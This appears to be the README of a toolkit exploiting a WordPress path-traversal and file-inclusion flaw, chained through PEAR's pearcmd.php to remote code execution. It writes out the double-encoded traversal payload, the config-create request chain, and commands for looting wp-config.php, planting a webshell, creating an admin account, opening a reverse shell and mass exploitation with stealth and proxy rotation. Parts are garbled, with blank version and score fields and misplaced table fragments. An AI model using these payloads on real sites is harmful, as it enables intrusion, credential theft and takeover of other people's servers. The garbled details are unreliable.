
WordPress CVE-2026-87902 LFI-to-RCE toolkit with a weaponized exploit chain (PEAR RCE, webshell, admin creation, loot) and a non-intrusive SafeChecker version and risk auditor.

ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.
CVE‑2026‑87902 is a critical unauthenticated path traversal and local file inclusion (LFI) vulnerability in (versions through ) that allows an unauthenticated attacker to include arbitrary local files via the query parameter, and under specific server conditions escalate to by chaining the PEAR file. CVSS score: . Disclosed by through WordPress's HackerOne program in July 2026. Patched in on September 22, 2026, with backports down to 4.7 .
.phppagenamepearcmd.phpThe flaw affects every WordPress release since 2016 — a decade of versions that passed code review without detection. The root cause is a single missing validation call in one of the most heavily-traversed code paths in the CMS .
Unsanitized template resolution – get_page_template() in wp-includes/template.php builds template candidates from the pagename query variable. A neighboring code path in the same function applies validate_file() to block ../ sequences, but the $pagename branch does not call it. Any traversal in pagename passes unchecked .
Double-encoded traversal bypass – WordPress applies sanitize_title_for_query() to pagename, which replaces literal dots (.) with hyphens to prevent traversal. But the function operates on already-decoded input and does not recursively decode. An attacker sends %252e%252e%252f; the web server decodes it once to %2e%2e%2f; the sanitizer sees no literal dots and passes it through; then get_page_template() calls urldecode() again inside the function, producing ../ .
Theme directory precondition – The active theme must contain a top-level directory whose name starts with page- (e.g. page-templates/). The constructed filename page-{pagename}.php then escapes the theme root via the traversal. Older default themes (Twenty Twelve, Twenty Fourteen) and popular third-party themes (Neve, Hestia, Sydney) ship this directory. Child themes inheriting from such parents also satisfy the precondition .
LFI sink in locate_template() – The candidate path is passed to locate_template(), which searches the theme directories. Because the traversal resolves to a file outside those directories, and the function checks only file_exists(), any readable .php file is included with full web server privileges. This makes the LFI unconditional on any unpatched site meeting the theme precondition — including wp-config.php with its database credentials and authentication salts .
PEAR pearcmd.php RCE escalation – PEAR ships with many PHP installations. Its pearcmd.php is normally CLI-only, but when register_argc_argv=On, PHP populates $_SERVER['argv'] from the URL query string. The attacker includes pearcmd.php via the LFI, passes config-create as an argument, and supplies PHP code plus an output path (/tmp/shell.php). PEAR writes the attacker's code to disk; a second include executes it .
Second exploitation route – A request combining name (front-page slug), page_id (posts-page ID), preview=true, and a pagename payload diverts WP_Query into its post_name branch, which never rewrites pagename through sanitize_title_for_query(). This allows literal dots in the traversal. Requires a theme without single.php .
Server configuration requirements – RCE depends on two conditions common in real deployments: pearcmd.php present/readable (frequent on shared hosting, cPanel, official PHP Docker images), and register_argc_argv=On (default in PHP below 8.5). PHP 8.5 changed the default to Off. On a modern PHP 8.5+ server without PEAR, exploitation stops at LFI .
The patch – WordPress 7.1.2 adds two layers of defense: (a) the missing validate_file() call in the pagename branch, and (b) a new _wp_is_template_path_allowed() function called by locate_template() for every resolved template. The function rejects paths containing .., then resolves the real path via realpath() and verifies it lies inside one of the allowed theme directories. This defense-in-depth closes the sink, not just one route to it .
Active exploitation in the wild – First malicious requests observed 5 hours after patch release (17:44 UTC, Sept 22, 2026). Traffic increased tenfold over the next day. Three stages observed: config-show reconnaissance → core-file detection → config-create weaponization. Payload filenames included wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, written to /tmp and /var/tmp. Attacking IPs: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .
Impact – Code execution with web server privileges. Full site takeover, wp-config.php credential theft, data exfiltration, webshell installation, admin user creation, reverse shell, supply-chain attacks via modified plugins/themes, and lateral movement into connected services. The CVSS 9.2 score reflects network-exploitable, no-auth, high-confidentiality/integrity/availability impact. The high attack complexity reflects the theme and server preconditions, but on typical shared hosting those conditions are frequently met.
page-* directory in the active theme, set register_argc_argv=Off in php.ini, and block double-encoded traversal in the pagename parameter at the WAF level.| Tool | Purpose | Intended User |
|---|---|---|
exploit.py | Full weaponized toolkit with LFI detection, PEAR RCE chain, admin user creation, webshell install, reverse shell, mass scanning, stealth mode, proxy rotation, and full attack chain. | Red teams / authorized pentesters |
safecheck.py | Non‑intrusive vulnerability checker that detects WordPress version, validates exposure, and assesses risk without including any file or executing any payload. Generates JSON reports. | Blue teams / security auditors |
| Feature | exploit.py | safecheck.py |
|---|---|---|
| Vulnerability detection | ✅ | ✅ |
| Version detection | ✅ | ✅ |
Theme page-* directory check | ✅ | ✅ |
PEAR pearcmd.php reachability | ✅ | ✅ |
register_argc_argv check | ✅ | ✅ |
| WAF behavior probe | ❌ | ✅ |
| Double-encoded LFI probe | ✅ | ❌ |
PEAR config-create RCE | ✅ | ❌ |
| Admin user creation | ✅ | ❌ |
| Webshell install | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
Loot wp-config.php | ✅ | ❌ |
| Full attack chain | ✅ | ❌ |
| Mass scanning (multi‑thread) | ✅ | ✅ |
| Proxy support | ✅ | ✅ |
| Proxy rotation | ✅ | ❌ |
| User‑Agent rotation (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Rate limiter | ✅ | ❌ |
| Non‑intrusive (safe) mode | ❌ | ✅ |
| Risk assessment report | ✅ | ✅ |
| Mitigation recommendations |
| Scenario | Recommended Tool |
|---|---|
| Blue Team – verifying if your WordPress is vulnerable | safecheck.py |
| Security Audit – non‑intrusive vulnerability assessment | safecheck.py |
| Red Team – authorized penetration testing with full exploitation | exploit.py |
| Bug Bounty – responsible disclosure testing | safecheck.py |
| Mass Scanning – checking multiple targets for vulnerability | exploit.py (detect‑only) |
| Incident Response – checking if systems are compromised | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py Parameters| Parameter | Description |
|---|---|
-u, --url | Single target WordPress URL (e.g. http://wordpress.example.com) |
-f, --file | File containing list of targets (one per line) for mass scanning |
--pipe | Read targets from stdin |
--exploit | Perform exploitation after detection |
--create-admin | Create persistent admin user (format: USER:PASS) |
--webshell | Install webshell via RCE |
--reverse-shell | Trigger reverse shell (format: LHOST:LPORT) |
--loot | Loot wp-config.php and other files |
--threads | Number of threads for multi‑target (default: 8) |
--timeout | Request timeout (default: 15s) |
--retry | Max retries (default: 3) |
--proxy | HTTP/HTTPS proxy (e.g. http://127.0.0.1:8080) |
--proxy-list | File with proxies for rotation (one per line) |
--proxy-rotate | Proxy rotation strategy (round-robin, random, sticky) |
--jitter | Random jitter between requests |
--jitter-range | Jitter min,max seconds (default: 0.1,2.0) |
--delay | Fixed delay between requests |
--stealth | Enable stealth mode (UA rotation + jitter) |
--insecure | Disable TLS verification |
--user-agent | Custom User-Agent |
safecheck.py Parameters| Parameter | Description |
|---|---|
-u, --url | Single target WordPress URL (e.g. http://wordpress.example.com) |
-f, --file | File containing list of targets (one per line) |
--pipe | Read targets from stdin |
-t, --threads | Number of threads for multi‑target (default: 8) |
--timeout | Request timeout (default: 15s) |
--retry | Max retries (default: 3) |
--proxy | HTTP/HTTPS proxy |
--jitter | Random jitter between requests |
--jitter-range | Jitter min,max seconds (default: 0.1,2.0) |
--delay | Fixed delay between requests |
--insecure | Disable TLS verification |
--user-agent | Custom User-Agent |
--max-body | Max response body size |
--concurrent-per-host | Max concurrent requests per host |
--exclude | Comma-separated hosts to exclude |
-o, --output | Save JSON report to file (.json, .csv, .html, .jsonl) |
--db | SQLite database file |
-v, --verbose | Verbose output |
-q, --quiet | Quiet mode |
--no-banner | Suppress banner |
| # | Scenario | Command |
|---|---|---|
| 1 | Quick vulnerability check | python safecheck.py -u http://wordpress.example.com |
| 2 | Detailed scan with report | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Mass audit from file | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Detect‑only exploit | python exploit.py -u http://wordpress.example.com |
| 5 | Loot wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Full attack with webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Create persistent admin user | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Full attack chain | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Mass exploit with stealth | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Proxy rotation | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
The exploit uses the following WordPress endpoints and exploitation steps:
| Step | Method | Endpoint | Description |
|---|---|---|---|
| 1. Fingerprint | GET | / | Detect WordPress via wp-content, wp-includes, wp-json |
| 2. Version | GET | /feed/ | Extract version via <generator> meta |
| 3. Page ID | GET | /wp-json/wp/v2/pages | Discover a valid page_id |
| 4. Theme Dir | GET | /wp-content/themes/{theme}/page-templates/ | Confirm page-* precondition |
| 5. LFI Probe | GET | /?page_id={id}&pagename={payload} | Double-encoded traversal to include local file |
| 6. PEAR Include | GET | /?page_id={id}&pagename={pearcmd} | Include pearcmd.php |
| 7. PEAR RCE | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | Write PHP file via PEAR |
| 8. Execute | GET | /?page_id={id}&pagename={outfile} | Include written file → RCE |
| 9. Persist | GET | (via RCE) | Create admin user / webshell |
| 10. Loot | GET | /?page_id={id}&pagename={wp-config} | Read wp-config.php via LFI |
# Double-encoded traversal example
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# PEAR config-create RCE chain
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# PEAR include trigger
GET /?page_id=2&pagename={encoded_output_path}
This software is provided for educational purposes and authorized security testing only.
| ❌ |
| ✅ |
| JSON report | ✅ | ✅ |
| CSV report | ✅ | ✅ |
| HTML report | ✅ | ✅ |
| SQLite output | ✅ | ✅ |
| Custom User‑Agent | ✅ | ✅ |
| SSL verification control | ✅ | ✅ |
--max-body |
| Max response body size |
--concurrent-per-host | Max concurrent requests per host |
--rate-limit | Max requests per second |
--exclude | Comma-separated hosts to exclude |
-o, --output | Save report to file (.json, .csv, .html, .jsonl) |
--db | SQLite database file |
-v, --verbose | Verbose output |
-q, --quiet | Quiet mode |
--no-banner | Suppress banner |